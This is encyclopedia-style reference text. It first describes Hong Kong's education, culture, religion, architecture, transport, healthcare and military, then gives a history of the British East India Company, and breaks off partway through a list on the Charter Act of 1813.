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          A former Crown colony, Hong Kong's education system has roughly followed the system of the United Kingdom, and in particular, the education system in England. At the higher education levels, both British and American systems exist. The University of Hong Kong (HKU), the oldest institution of tertiary education in Hong Kong, has traditionally been based on the British model but has incorporated elements of the American model in recent years. The second oldest university, Chinese University of Hong Kong (CUHK), follows the American model with a characteristically British college system. The Hong Kong University of Science and Technology (HKUST) was established on the American model of higher education. There are nine public universities in Hong Kong, and a number of private higher institutions.


          Hong Kong's public schools are operated by the Education Bureau. The system features a non-compulsory three-year kindergarten, followed by a compulsory six-year primary education, three-year junior secondary education; a non-compulsory two-year senior secondary education leading to the Hong Kong Certificate of Education Examinations and a two-year matriculation course leading to the Hong Kong Advanced Level Examinations. A new "3+3+4" curriculum, consisting of a three-year junior secondary, three-year senior secondary and four-year undergraduate academic system, will be implemented from 2009 (for senior secondary) and 2012 (for tertiary) onwards. There are also tertiary institutions offering various Bachelor's, Master's, and Doctoral degrees, other higher diplomas and associate degree courses.


          Most comprehensive schools in Hong Kong fall under three categories: Public schools, subsidised schools and private schools. Public schools are rare, and subsidised schools are the most common, which include government aids and grant schools, run by charitable organisations often with religious affiliations. The majority of such religious affiliations are Christian, but there are also Buddhist, Daoist (Taoist), Islamic and Confucian ones as well. Meanwhile, private schools, often run by Christian organisations, have admissions based on academic merit rather than on financial resources. Outside this system are the schools under the Direct Subsidy Scheme (DSS) and private international schools. The medium of instruction is mainly spoken Cantonese, written Chinese and English.


          The Programme for International Student Assessment, coordinated by the OECD, currently ranks Hong Kong's education as the 2nd best in the world.


          


          Culture
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          Hong Kong is frequently described as a place where East meets West, a meeting reflected in its inhabitants, their customs, economic infrastructure, education and culture. British rule may have ended in 1997 but Western culture is deeply ingrained in Hong Kong and coexists seamlessly with traditional philosophy and practices of the Chinese. On one street corner, there may be traditional Chinese shops selling Chinese herbal medicine, Buddhist paraphernalia or bowls of synthetic shark fin soup, but around the next, one may find theatres showing the latest Hollywood blockbuster, an English-style pub, or a Catholic Church. Hong Kong's official languages are Cantonese and English; signs in both languages are omnipresent throughout Hong Kong. The government, police and most workplaces and stores conduct business bilingually.


          While Hong Kong is a global centre of trade, another famous export is its entertainment industry, particularly in the martial arts genre which gained a high level of popularity in the late 1960s and 1970s. Several Hollywood performers originate from Hong Kong cinema, notably Bruce Lee, Chow Yun-Fat, and Jackie Chan. A number of Hong Kong filmmakers have also achieved widespread fame in Hollywood, such as John Woo, Wong Kar-wai and Tsui Hark. Homegrown films such as Chungking Express, Infernal Affairs, Shaolin Soccer, Rumble in the Bronx, Eros and In the Mood for Love have also gained international recognition. Hong Kong is also the world's main hub for Cantopop music and is home to the first fulltime comedy club in Asia, The TakeOut Comedy Club Hong Kong.


          The Hong Kong government also supports cultural institutions such as the Hong Kong Heritage Museum, Hong Kong Museum of Art, the Hong Kong Academy for Performing Arts and the Hong Kong Philharmonic Orchestra. Furthermore, the government's Leisure and Cultural Services Department also subsidises and sponsors international performers brought to Hong Kong. Many international cultural activities are organised by the government, consulates and privately.


          


          Religion


          


          Hong Kong enjoys a high degree of religious freedom, a right enshrined and protected through its constitutional document, the Basic Law. The majority of Hong Kong's population (90%) practise a mix of local religions, Buddhism (mainly Chinese Mahayana) alongside with Taoism. Buddhists and Taoists share a common background of Confucian theory, Chinese folk religion (worship of folk deities and figures of Chinese mythology) and ancestor worship.


          A sizable Christian community of around 560,000 local adherents (320 thousand Protestant Christians, 240 thousand Roman Catholics) to 660,000 exists (if including over 100 thousand Filipino Catholics), forming about 8% to 9% of the total population; it is roughly equally divided between Catholics and Protestants. Apart from the major religions, there are also a significant number of followers of other religions, including an estimated 90,000 Muslims; 22,000 members of The Church of Jesus Christ of Latter-day Saints; 4,000 Jews; 4,600 Jehovah's Witnesses and a number of Hindus, Sikhs and Bah's. Apart from offering religious instructions, many major religious bodies have established schools and provided social welfare facilities.
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          Hong Kong's religious beliefs are tied to the region's early role as a fishing community. Tin Hau, the protector of seafarers, has been honoured with several temples throughout Hong Kong for at least 300 years. Hong Kong residents, especially elder generations, visit Taoist or Buddhist temples to appease the deities and, usually, to request compassion, good health or good fortune. Gifts of food, and in particular fruit, are presented, and incense and paper offerings are burnt in respect.


          With the transfer of Hong Kong to the PRC, there were significant concerns over religious freedom in Hong Kong. So far, this has proved mostly unfounded. Despite the banning of the Falun Gong movement by Beijing in 1999, adherents are still free to practice in Hong Kong. Similarly, the Catholic Church freely appoints its own bishops in Hong Kong, unlike on mainland China where the only approved 'Catholic' institution is the Chinese Patriotic Catholic Association where bishops and priests are appointed by Beijing (though there is also an unofficial and illegal part of the Catholic church that maintains contact with the Vatican). A significant issue in the normalisation of ties between the PRC and the Vatican is Beijing's insistence that the Vatican drops its diplomatic ties with the ROC.


          


          Architecture
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          At present, Hong Kong has the world's greatest number of skyscrapers, with a total of 7,688, well ahead of the second place city, New York City, which has 5,640. Most of these were built in the past two decades.


          Due to the lack of available space, few historical buildings remain in Hong Kong as older buildings are regularly torn down to make way for new developments. Instead, the city has become a centre for modern architecture, especially in and around Central. Dense commercial skyscrapers line the coast of Victoria Harbour from Central to Causeway Bay, and Hong Kong's skyline, ranked the best skyline in the world, is a major tourist attraction. Four of the 18 tallest skyscrapers in the world are in Hong Kong. In Kowloon, which once included the nihilistic settlement called the Kowloon Walled City, the proximity of Kai Tak Airport previously necessitated strict height limits for all buildings. With the closure of Kai Tak Airport in 1998, these restrictions were lifted and several new skyscrapers in Kowloon are now under construction, including International Commerce Centre which, when completed in 2010, will become the world's fourth tallest.
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          One of the notable buildings in Hong Kong is I. M. Pei's Bank of China Tower, completed in 1990 and now the city's third tallest skyscraper. This building generated heated controversy from the start, as its sharp angles were said to cast negative feng shui energy into the heart of Hong Kong. Predating the Bank of China Tower, another well-known structure is the HSBC Headquarters Building, finished in 1985. It was built on the site of Hong Kong's first skyscraper, which was finished in 1935 and was the subject of a bitter heritage conservation struggle in the late 1970s. Both banks' buildings are featured on many of Hong Kong's banknotes.


          The tallest building in Hong Kong is currently the Two International Finance Centre. Other well-known projects in Hong Kong include the new Hong Kong International Airport on Chek Lap Kok near Lantau, a huge land reclamation project linked to the centre of Hong Kong by the Lantau Link, which features three new major bridges: Tsing Ma, the world's sixth largest suspension bridge; Kap Shui Mun, the world's longest cable-stayed bridge carrying both road and railway traffic; and Ting Kau, the world's first major four-span cable-stayed bridge.


          


          Transport
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          Hong Kong has a highly developed transportation network, encompassing both public and private transport. Over 90% of daily travels (11 million) are on public transport, making it the highest percentage in the world. The Octopus card stored value smart card payment system can be used to pay for fares on almost all railways, buses and ferries in Hong Kong. The Octopus card uses RFID (Radio Frequency Identification) to allow users to scan their card without taking it out of their wallet or bag. All parking meters in Hong Kong accept payment by Octopus card only, and Octopus card payment can be made at various car parks. Unlike the rest of the People's Republic of China, Hongkongers drive on the left side of the road.


          Seeing wide usage is the city's metro system, MTR, both an underground rail system and a link between Hong Kong and mainland China. It has 150 stations and moves 3.4 million people a day. The tramway system, serving the city since 1904, covers the northern parts of Hong Kong Island and is the only tram system in the world run exclusively with double deckers. There are five operators running franchised public bus services in Hong Kong. Double-decker buses were introduced to Hong Kong in 1949, and are now almost exclusively used, with single-decker buses remaining in use for routes with lower demand or roads with lower carrying capacity. Most normal franchised bus routes in Hong Kong operate until 1 am. Public light buses run the length and breadth of Hong Kong, through areas where standard bus lines cannot reach or do not reach as frequently, quickly, or directly.


          The Star Ferry service operates four lines across Victoria Harbour and has been in operation for over 120 years, providing a panoramic view of Hong Kong's skyline for its 53,000 daily passengers. It is considered one of the city's most treasured cultural icons and has been rated as one of the most picturesque ferry crossings in the world. Other ferry services are provided by operators serving outlying islands, new towns, Macau, and cities in mainland China. Hong Kong is also famous for its junks traversing the harbour, and small kai-to ferries which serve remote coastal settlements.


          As Hong Kong is dominated by steep, hilly terrain, some unusual methods of transport have been devised to ease movement up and down the slopes. For example, the Peak Tram, the first public transport system in Hong Kong, has provided vertical rail transport between Central and Victoria Peak since 1888 by steeply ascending the side of a mountain. In Central and Western district, there is an extensive system of escalators and moving pavements, including the longest outdoor covered escalator system in the world, the Mid-Levels escalator.


          Hong Kong International Airport is a leading air passenger gateway and logistics hub in Asia and one of the world's busiest airports in terms of international passenger and cargo movement, serving more than 47 million passengers and handling 3.74 million tonnes of cargo in 2007. It replaced Kai Tak Airport in Kowloon in 1998 and has been voted the world's best airport multiple times. Over 85 airlines operate at the two- terminal airport and it is the primary hub of Cathay Pacific, Dragonair, Air Hong Kong, Hong Kong Airlines and Hong Kong Express.


          Taxis are widely used throughout Hong Kong, all of which are obliged by law to run on liquefied petroleum gas instead of diesel, in order to help the city's pollution problems. Despite the effort, the level of smog and pollution in Hong Kong is very high.


          


          Healthcare
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          Hong Kong's medical infrastructure consists of a mixed medical economy, with 12 private hospitals and more than 50 public hospitals. There are also polyclinics that offer primary care services, including dentistry. Hong Kong has two medical schools, one with the University of Hong Kong (the Li Ka Shing Faculty of Medicine) and the other with the Chinese University of Hong Kong. Medical graduates obtain the MBChB or MBBS, based upon the British model. There are also schools of nursing, both public and private, and training for professions allied to medicine, including a school dedicated to dentistry. The Hospital Authority is a statutory body established on 1 December 1990 under the Hospital Authority Ordinance to manage all 38 public hospitals and institutions in Hong Kong. It is mainly responsible for delivering a comprehensive range of secondary and tertiary specialist care and medical rehabilitation through its network of health care facilities. The Authority also provides some primary medical services in 74 primary care clinics.


          Hong Kong's 12 private hospitals have partnered with the United Kingdom for international healthcare accreditation. All 12 private hospitals are "Trent Hospitals", having been surveyed and accredited by the United Kingdom's Trent Accreditation Scheme. The Hong Kong Academy of Medicine is an independent institution with the statutory power to organise, monitor, assess and accredit all medical specialist training and to oversee the provision of continuing medical education in Hong Kong. In addition, The Royal College of Physicians and Surgeons of Canada has also accredited the postgraduate medical education (1994-present) in Hong Kong and allowed these graduates from the Hong Kong Academy of Medicine seeking RCPSC Certification and practising in Canada.
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          The Department of Health, under Food and Health Bureau, is the health adviser of Hong Kong government and an executive arm in health legislation and policy. Its main role is to safeguard the health of the community through promotive, preventive, curative and rehabilitative services in Hong Kong. The main function of the department includes child assessment service, immunisation programmes, dental service, forensic pathology service, registration of healthcare professionals etc, though boards and councils (i.e. Medical Council of Hong Kong, Pharmacy and Poisons Board of Hong Kong) are independent statutory bodies established under the relevant ordinances that operate independently to discharge their statutory functions.


          Hong Kong is one of the healthiest places in the world. Because of its early health education, professional health services, and well-developed health care and medication system, Hongkongers enjoy a life expectancy of 84 for females and 78 for men, which are the second highest in the world, and 2.94 infant mortality rate, the fourth lowest in the world.


          Hong Kong has high standards of medical practice. It has contributed to the development of liver transplantation, being the first in the world to carry out adult to adult live donor liver transplant in 1993.


          


          Military
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          During British administration, the Governor of Hong Kong was the Commander-in-Chief and Vice-Admiral, defence force was provided by the British military, who stationed soldiers in barracks throughout Hong Kong, including the British Forces Overseas Hong Kong. Its finance was supported by both the UK Government and the Hong Kong Government. Hong Kong has never had its own military forces because it has never been a sovereign state, except voluntary auxiliary forces like The Royal Hong Kong Regiment (The Volunteers).


          The People's Republic of China's State Council assumed sovereignty over Hong Kong on 1 July 1997 and stationed a garrison of the People's Liberation Army (PLA) to manage its defence affairs. Although the garrison has little practical military value, the stationing of the PLA troops in Hong Kong is a significant symbol of the PRC government's assumption of sovereignty over Hong Kong.


          According to Hong Kong's Basic Law, military forces stationed in Hong Kong will not interfere with local civil affairs; the Hong Kong SAR Government remains responsible for the maintenance of public order. The Hong Kong Garrison, composed of ground, naval, and air forces, is under the command of the Chinese Central Military Commission. The PLA Garrison subsequently opened its barracks on Stonecutters Island and Stanley to the public to promote understanding and trust between the troops and residents.
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          The Honourable East India Company (HEIC), most commonly referred to as the East India Trading Company, though often colloquially referred to as "John Company", and simply as the East India Company or the "Company Bahadur" in India, was an early joint-stock company (the Dutch East India Company was the first to issue public stock). The company's main trade was in cotton, silk, indigo dye, saltpetre, tea and also opium. It was granted an English Royal Charter by Elizabeth I on December 31, 1600, with the intention of favouring trade privileges in India. The Royal Charter effectively gave the newly created HEIC a 21 year monopoly on all trade in the East Indies. The Company transformed from a commercial trading venture to one that virtually ruled India and other Asian colonies as it acquired auxiliary governmental and military functions, until the British Crown assumed direct rule in 1858 following the events of the Indian Rebellion of 1857.


          


          Impact


          Based in London, the company presided over the later creation of the British Raj. In 1617, the Company was given trade rights by Jahangir the Mughal Emperor. One hundred years later, it was granted the royal dictate from Emperor Farrukhsiyar exempting the Company from the payment of custom duties in Bengal, giving it a decided commercial advantage in the Indian trade. A decisive victory by Sir Robert Clive against the Nawab of Bengal at the Battle of Plassey in 1757 established the Company as a military as well as a commercial power. The war was precipitated by a number of disputes. The illegal use of Mughal Imperial export trade permits (dastaks) granted to the British in 1717 for engaging in internal trade within India. The British cited this permit as their excuse for not paying taxes to the Bengal Nawab. British interference in the Nawab's court, and particularly their support for one of his aunts, Ghaseti Begum. The son of Ghaseti's treasurer had sought refuge in Fort William, and Siraj demanded his return. Additional fortifications with mounted guns had been placed on Fort William without the consent of the Nawab; and The British East India Company's policy of favouring Hindu Marwari merchants such as the Jagat Seth. By 1760, the French were driven out of India, with the exception of a few trading posts on the coast, such as Pondicherry. In Southeast Asia, the company would establish the first trading posts and exert its military dominance leading to the eventual establishment of British Malaya, Burma, Ceylon, Hong Kong and Singapore as British Crown Colonies.


          Bengal famine of 1770: Fault for the famine is now often ascribed to the British East India Company policies in Bengal. As a trading body, the first remit of the Company was to maximise its profits and with taxation rights the profits to be obtained from Bengal came from land tax as well as trade tariffs. As lands came under company control, the land tax was typically raised by 5 times what it had been  from 10% to up to 50% of the value of the agricultural produce.[citation needed] In the first years of the rule of the British East India Company, the total land tax income was doubled and most of this revenue flowed out of the country.As the famine approached its height in April of 1770, the Company announced that the land tax for the following year was to be increased by a further 10%.


          The company is also criticised for forbidding the "hoarding" of rice. This prevented traders and dealers from laying in reserves that in other times would have tided the population over lean periods, as well as ordering the farmers to plant indigo instead of rice.


          By the time of the famine, monopolies in grain trading had been established by the Company and its agents. The Company had no plan for dealing with the grain shortage, and actions were only taken insofar as they affected the mercantile and trading classes. Land revenue decreased by 14% during the affected year, but recovered rapidly (Kumkum Chatterjee). According to McLane, the first governor-general of British India, Warren Hastings, acknowledged "violent" tax collecting after 1771: revenues earned by the Company were higher in 1771 than in 1768. Globally, the profit of the Company increased from 15 million rupees in 1765 to 30 million rupees in 1777.


          The Company also had interests along the routes to India from Great Britain. As early as 1620, the company attempted to lay claim to the Table Mountain region in South Africa; later it occupied and ruled St Helena. Piracy was a severe problem for the Company. This problem reached its peak in 1695, when pirate Henry Avery captured the Great Mughal's treasure fleet. The Company was held responsible for that raid, because according to Indian popular opinion of the time, all pirates were by definition English. Later, the Company unsuccessfully employed Captain Kidd to combat piracy in the Indian Ocean; it also cultivated the production of tea in India. Other notable events in the Company's history were that it held Napoleon captive on St Helena, and made the fortune of Elihu Yale. Its products were the basis of the Boston Tea Party in Colonial America.


          Its shipyards provided the model for Saint Petersburg. Elements of its administration, the Honourable East India Company Civil Service (HEICS), survive in the Indian Administrative Service (IAS), the successor to the Indian Civil Service (ICS). Its corporate structure was the most successful early example of a joint stock company. The demands of Company officers on the treasury of Bengal contributed tragically to the province's incapacity in the face of a famine, which killed millions of people in 1770-1773.
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          The company was an aggressive party and destroyed monasteries in Tibet. It helped cause the Opium wars as a promoter of opium smuggling. With these actions, the company diminished the popularity of England and Europeans in Tibet and China.


          


          History


          


          The foundation years


          The Company was founded as The Company of Merchants of London Trading into the East Indies by a coterie of enterprising and influential businessmen, who obtained the Crown's charter for exclusive permission to trade in the East Indies for a period of fifteen years. The Company had 125 shareholders, and a capital of 72,000. Initially, however, it made little impression on the Dutch control of the spice trade and at first it could not establish a lasting outpost in the East Indies. Eventually, ships belonging to the company arrived in India, docking at Surat, which was established as a trade transit point in 1608. In the next two years, it managed to build its first factory (as the trading posts were known) in the town of Machilipatnam on the Coromandel Coast of the Bay of Bengal. The high profits reported by the Company after landing in India (presumably owing to a reduction in overhead costs affected by the transit points), initially prompted King James I to grant subsidiary licenses to other trading companies in England. But, in 1609, he renewed the charter given to the Company for an indefinite period, including a clause which specified that the charter would cease to be in force if the trade turned unprofitable for three consecutive years.


          The Company was led by one Governor and 24 directors who made up the Court of Directors. They were appointed by, and reported to, the Court of Proprietors. The Court of Directors had ten committees reporting to it.


          


          Footholds in India


          Traders were frequently engaged in hostilities with their Dutch and Portuguese counterparts in the Indian Ocean. A key event providing the Company with the favour of Mughal emperor Jahangir was their victory over the Portuguese in the Battle of Swally in 1612. Perhaps realizing the futility of waging trade wars in remote seas, the English decided to explore their options for gaining a foothold in mainland India, with official sanction of both countries, and requested the Crown to launch a diplomatic mission. In 1615, Sir Thomas Roe was instructed by James I to visit the Mughal emperor Jahangir (who ruled over most of the subcontinent, along with Afghanistan). The purpose of this mission was to arrange for a commercial treaty which would give the Company exclusive rights to reside and build factories in Surat and other areas. In return, the Company offered to provide to the emperor goods and rarities from the European market. This mission was highly successful and Jahangir sent a letter to James through Sir Thomas Roe. He wrote:


          
            	Upon which assurance of your royal love I have given my general command to all the kingdoms and ports of my dominions to receive all the merchants of the English nation as the subjects of my friend; that in what place soever they choose to live, they may have free liberty without any restraint; and at what port soever they shall arrive, that neither Portugal nor any other shall dare to molest their quiet; and in what city soever they shall have residence, I have commanded all my governors and captains to give them freedom answerable to their own desires; to sell, buy, and to transport into their country at their pleasure.

          


          
            	For confirmation of our love and friendship, I desire your Majesty to command your merchants to bring in their ships of all sorts of rarities and rich goods fit for my palace; and that you be pleased to send me your royal letters by every opportunity, that I may rejoice in your health and prosperous affairs; that our friendship may be interchanged and eternal.

          


          


          Expansion


          The company, under such obvious patronage, soon managed to eclipse the Portuguese Estado da India, which had established bases in Goa, Chittagong and Bombay (which was later ceded to England as part of the dowry of Catherine de Braganza). It managed to create strongholds in Surat (where a factory was built in 1612), Madras (1639), Bombay (1668) and Calcutta (1690). By 1647, the Company had 23 factories, each under the command of a factor or master merchant and governor if so chosen, and 90 employees in India. The major factories became the walled forts of Fort William in Bengal, Fort St George in Madras and the Bombay Castle. In 1634, the Mughal emperor extended his hospitality to the English traders to the region of Bengal (and in 1717 completely waived customs duties for the trade). The company's mainstay businesses were by now in cotton, silk, indigo dye, saltpetre and tea. All the while, it was making inroads into the Dutch monopoly of the spice trade in the Malaccan straits, which the Dutch had acquired by ousting the Portuguese in 1640-41. In 1711, the Company established a trading post in Canton (Guangzhou), China, to trade tea for silver. In 1657, Oliver Cromwell renewed the charter of 1609, and brought about minor changes in the holding of the Company. The status of the Company was further enhanced by the restoration of monarchy in England. By a series of five acts around 1670, King Charles II provisioned it with the rights to autonomous territorial acquisitions, to mint money, to command fortresses and troops and form alliances, to make war and peace, and to exercise both civil and criminal jurisdiction over the acquired areas.


          


          The road to a complete monopoly


          


          Trade monopoly


          The prosperity that the employees of the company enjoyed allowed them to return to their country and establish sprawling estates and businesses, and to obtain political power. Consequently, the Company developed for itself a lobby in the English parliament. However, under pressure from ambitious tradesmen and former associates of the Company (pejoratively termed Interlopers by the Company), who wanted to establish private trading firms in India, a deregulating act was passed in 1694. This allowed any English firm to trade with India, unless specifically prohibited by act of parliament, thereby annulling the charter that was in force for almost 100 years. By an act that was passed in 1698, a new "parallel" East India Company (officially titled the English Company Trading to the East Indies) was floated under a state-backed indemnity of 2 million. However, the powerful stockholders of the old company quickly subscribed a sum of 315,000 in the new concern, and dominated the new body. The two companies wrestled with each other for some time, both in England and in India, for a dominant share of the trade. However, it quickly became evident that, in practice, the original Company faced scarcely any measurable competition. Both companies finally merged in 1708, by a tripartite indenture involving them both as well as the state. Under this arrangement, the merged company lent to the Treasury a sum of 3,200,000, in return for exclusive privileges for the next three years, after which the situation was to be reviewed. The amalgamated company became the United Company of Merchants of England Trading to the East Indies.


          In the following decades there was a constant see-saw battle between the Company lobby and the Parliament. The Company sought a permanent establishment, while the Parliament would not willingly allow it greater autonomy, and so relinquish the opportunity to exploit the Company's profits. In 1712, another act renewed the status of the Company, though the debts were repaid. By 1720, 15% of British imports were from India, almost all passing through the Company, which reasserted the influence of the Company lobby. The license was prolonged until 1766 by yet another act in 1730.


          At this time, Britain and France became bitter rivals. Frequent skirmishes between them took place for control of colonial possessions. In 1742, fearing the monetary consequences of a war, the British government agreed to extend the deadline for the licensed exclusive trade by the Company in India until 1783, in return for a further loan of 1 million. The skirmishes did escalate to the feared war. Between 1756 and 1763, the Seven Years' War diverted the state's attention towards consolidation and defence of its territorial possessions in Europe and its colonies in North America. The war also took place on Indian soil, between the Company troops and the French forces. In 1757, the Law Officers of the Crown delivered the Pratt-Yorke opinion distinguishing overseas territories acquired by conquest from those acquired by private treaty. The opinion asserted that, while the Crown of Great Britain enjoyed sovereignty over both, only the property of the former was vested in the Crown.


          With the advent of the Industrial Revolution, Britain surged ahead of its European rivals. Demand for Indian commodities was boosted by the need to sustain the troops and the economy during the war, and by the increased availability of raw materials and efficient methods of production. As home to the revolution, Britain experienced higher standards of living. Its spiralling cycle of prosperity, demand and production had a profound influence on overseas trade. The Company became the single largest player in the British global market. It reserved for itself an unassailable position in the decision-making process of the Government.


          William Pyne notes in his book The Microcosm of London (1808) that


          
            	On the 1st March, 1801, the debts of the East India Company to 5,393,989 their effects to 15,404,736 and their sales increased since February 1793, from 4,988,300 to 7,602,041.

          


          


          Saltpetre trade


          Sir John Banks, a businessman from Kent who negotiated an agreement between the King and the Company, began his career in a syndicate arranging contracts for victualling the navy, an interest he kept up for most of his life. He knew Pepys and John Evelyn and founded a substantial fortune from the Levant and Indian trades. He also became a Director and later, as Governor of the East Indian Company in 1672, he was able to arrange a contract which included a loan of 20,000 and 30,000 worth of saltpetre for the King 'at the price it shall sell by the candle' - that is by auction - where an inch of candle burned and as long as it was alight bidding could continue. The agreement also included with the price 'an allowance of interest which is to be expressed in tallies.' This was something of a breakthrough in royal prerogative because previous requests for the King to buy at the Company's auctions had been turned down as 'not honourable or decent.' Outstanding debts were also agreed and the Company permitted to export 250 tons of saltpetre. Again in 1673, Banks successfully negotiated another contract for 700 tons of saltpetre at 37,000 between the King and the Company. So urgent was the need to supply the armed forces in the United Kingdom, America and elsewhere that the authorities sometimes turned a blind eye on the untaxed sales. One governor of the Company was even reported as saying in 1864 that he would rather have the saltpetre made than the tax on salt.


          


          The basis for the monopoly


          


          Colonial monopoly
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          The Seven Years' War (1756  1763) resulted in the defeat of the French forces and limited French imperial ambitions, also stunting the influence of the industrial revolution in French territories. Robert Clive, the Governor General, led the Company to an astounding victory against Joseph Franois Dupleix, the commander of the French forces in India, and recaptured Fort St George from the French. The Company took this respite to seize Manila in 1762. By the Treaty of Paris (1763), the French were allowed to maintain their trade posts only in small enclaves in Pondicherry, Mahe, Karikal, Yanam, and Chandernagar without any military presence. Although these small outposts remained French possessions for the next two hundred years, French ambitions on Indian territories were effectively laid to rest, thus eliminating a major source of economic competition for the Company. In contrast, the Company, fresh from a colossal victory, and with the backing of a disciplined and experienced army, was able to assert its interests in the Carnatic from its base at Madras and in Bengal from Calcutta, without facing any further obstacles from other colonial powers.


          


          Military expansion


          The Company continued to experience resistance from local rulers during its expansion. Robert Clive led company forces against Siraj Ud Daulah, the last independent Nawab of Bengal, Bihar and Orissa to victory at the Battle of Plassey in 1757, resulting in the conquest of Bengal. This victory estranged the British and the Mughals, since Siraj Ud Daulah was a Mughal feudatory ally. But the Mughal empire was already on the wane after the demise of Aurangzeb, and was breaking up into pieces and enclaves. After the Battle of Buxar, Shah Alam II, the ruling emperor, gave up the administrative rights over Bengal, Bihar, and Orissa. Clive thus became the first British Governor of Bengal.


          Haidar Ali and Tipu Sultan, the legendary rulers of Mysore (in Carnatic), gave a tough time to the British forces. Having sided with the French during the war, the rulers of Mysore continued their struggle against the Company with the four Anglo-Mysore Wars. Mysore finally fell to the Company forces in 1799, with the slaying of Tipu Sultan.


          With the gradual weakening of the Maratha empire in the aftermath of the three Anglo-Maratha wars, the British also secured Bombay and the surrounding areas. It was during these campaigns, both against Mysore and the Marathas, that Arthur Wellesley, later Duke of Wellington, first showed the abilities which would lead to victory in the Peninsular War and at the Battle of Waterloo. A particularly notable engagement involving forces under his command was the Battle of Assaye. Thus, the British had secured the entire region of Southern India (with the exception of small enclaves of French and local rulers), Western India and Eastern India.


          The last vestiges of local administration were restricted to the northern regions of Delhi, Oudh, Rajputana, and Punjab, where the Company's presence was ever increasing amidst the infighting and dubious offers of protection against each other. Coercive action, threats and diplomacy aided the Company in preventing the local rulers from putting up a united struggle against it. The hundred years from the Battle of Plassey in 1757 to the Sepoy Mutiny of 1857 were a period of consolidation for the Company, which began to function more as a nation and less as a trading concern.


          


          Opium trade


          In the eighteenth century, England had a huge trade deficit with Qing Dynasty China and so in 1773, the Company created a British monopoly on opium buying in Bengal. As opium trade was illegal in China, Company ships could not carry opium to China. So the opium produced in Bengal was sold in Calcutta on condition that it be sent to China.


          Despite the Chinese ban on opium imports, reaffirmed in 1799, it was smuggled into China from Bengal by traffickers and agency houses (such as Jardine, Matheson and Company and Company, Ltd.) averaging 900 tons a year. The proceeds from drug-runners at Lintin were paid into the Companys factory at Canton and by 1825, most of the money needed to buy tea in China was raised by the illegal opium trade. In 1838, with opium smuggling approaching 1400 tons a year, the Chinese imposed a death penalty on opium smuggling and sent a new governor, Lin Zexu to curb smuggling. This finally resulted in the First Opium War, eventually leading to the British seizure of Hong Kong and the opening of the Chinese market to British drug traffickers.


          


          Regulation of the company's affairs
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          Financial troubles


          Though the Company was becoming increasingly bold and ambitious in putting down resisting states, it was getting clearer day by day that the Company was incapable of governing the vast expanse of the captured territories. The Bengal famine, in which one-third of the local population died, set the alarm bells ringing back home. Military and administrative costs mounted beyond control in British administered regions in Bengal due to the ensuing drop in labour productivity. At the same time, there was commercial stagnation and trade depression throughout Europe following the lull in the post-Industrial Revolution period. The desperate directors of the company attempted to avert bankruptcy by appealing to Parliament for financial help. This led to the passing of the Tea Act in 1773, which gave the Company greater autonomy in running its trade in America. Its monopolistic activities triggered the Boston Tea Party in the Province of Massachusetts Bay, one of the major events leading up to the American Revolution.


          


          Regulating Acts


          


          East India Company Act 1773


          By this Act (13 Geo. III, c. 63), the Parliament of Great Britain imposed a series of administrative and economic reforms and by doing so clearly established its sovereignty and ultimate control over the Company. The Act recognized the Company's political functions and clearly established that the "acquisition of sovereignty by the subjects of the Crown is on behalf of the Crown and not in its own right."


          Despite stiff resistance from the East India lobby in parliament, and from the Company's shareholders, the Act was passed. It introduced substantial governmental control, and allowed the land to be formally under the control of the Crown, but leased to the Company at 40,000 for two years. Under this provision, the governor of Bengal Warren Hastings was promoted to the rank of Governor General, having administrative powers over all of British India. It provided that his nomination, though made by a court of directors, should in future be subject to the approval of a Council of Four appointed by the Crown - namely Lt. General John Clavering, George Monson, Richard Barwell and Philip Francis. He was entrusted with the power of peace and war. British judicial personnel would also be sent to India to administer the British legal system. The Governor General and the council would have complete legislative powers. Thus, Warren Hastings became the first Governor-General of India. The company was allowed to maintain its virtual monopoly over trade, in exchange for the biennial sum and an obligation to export a minimum quantity of goods yearly to Britain. The costs of administration were also to be met by the company. These provisions, initially welcomed by the Company, backfired. The Company had an annual burden on its back, and its finances continued steadily to decline.


          


          East India Company Act (Pitt's India Act) 1784


          The India Act of 1784 (24 Geo. III, s. 2, c. 25) had two key aspects:


          
            	Relationship to the British Government - the Bill clearly differentiated the political functions of the East India Company from its commercial activities. For its political transactions, the Act directly subordinated the East India Company to the British Government. To accomplish this, the Act created a Board of Commissioners for the Affairs of India usually referred to as the Board of Control. The members of the Board of Control were the Chancellor of the Exchequer, a Secretary of State, and four Privy Councillors, nominated by the King. The Act specified that the Secretary of State, "shall preside at, and be President of the said Board".

          


          
            	Internal Administration of British India  the Bill laid the foundation of the British centralized bureaucratic administration of India which would reach its peak at the beginning of the twentieth century with the governor-generalship of George Nathaniel Curzon, 1st Baron Curzon.

          


          
            [image: The expanded East India House, Leadenhall Street, London, as rebuilt 1799-1800, Richard Jupp, architect (as seen c. 1817; demolished in 1929)]

            
              The expanded East India House, Leadenhall Street, London, as rebuilt 1799-1800, Richard Jupp, architect (as seen c. 1817; demolished in 1929)
            

          


          Pitt's Act was deemed a failure because it was immediately apparent that the boundaries between governmental control and the Company's powers were obscure and highly subject to interpretation. The government also felt obliged to answer humanitarian voices pleading for better treatment of natives in British occupied territories. Edmund Burke, a former East India Company shareholder and diplomat, felt compelled to relieve the situation and introduced before parliament a new Regulating Bill in 1783. The Bill was defeated due to intense lobbying by Company loyalists and accusations of nepotism in the Bill's recommendations for the appointment of councillors.


          


          Act of 1786


          This Act (26 Geo. III c. 16) enacted the demand of Lord Cornwallis, that the powers of the Governor-General be enlarged to empower him, in special cases, to override the majority of his Council and act on his own special responsibility. The Act also enabled the offices of the Governor-General and the Commander-in-Chief to be jointly held by the same official.


          This Act clearly demarcated borders between the Crown and the Company. After this point, the Company functioned as a regularized subsidiary of the Crown, with greater accountability for its actions and reached a stable stage of expansion and consolidation. Having temporarily achieved a state of truce with the Crown, the Company continued to expand its influence to nearby territories through threats and coercive actions. By the middle of the 19th century, the Company's rule extended across most of India, Burma, Malaya, Singapore and Hong Kong, and a fifth of the world's population was under its trading influence.


          


          Charter Act 1813


          The aggressive policies of Lord Wellesley and the Marquis of Hastings led to the Company gaining control of all India, except for the Punjab, Sind and Nepal. The Indian Princes had become vassals of the Company. But the expense of wars leading to the total control of India strained the Companys finances to the breaking point. The Company was forced to petition Parliament for assistance. This was the background to the Charter Act of 1813 (53 Geo. III c. 155) which, among other things:


          
            	asserted the sovereignty of the British Crown over the Indian territories held by the Company;


            	renewed the Charter of Company for a further twenty years but,

              
                	deprived the Company of its Indian trade monopoly except for trade in tea and the trade with China;


                	required the Company to maintain separate and distinct its commercial and territorial accounts; and,

              

            


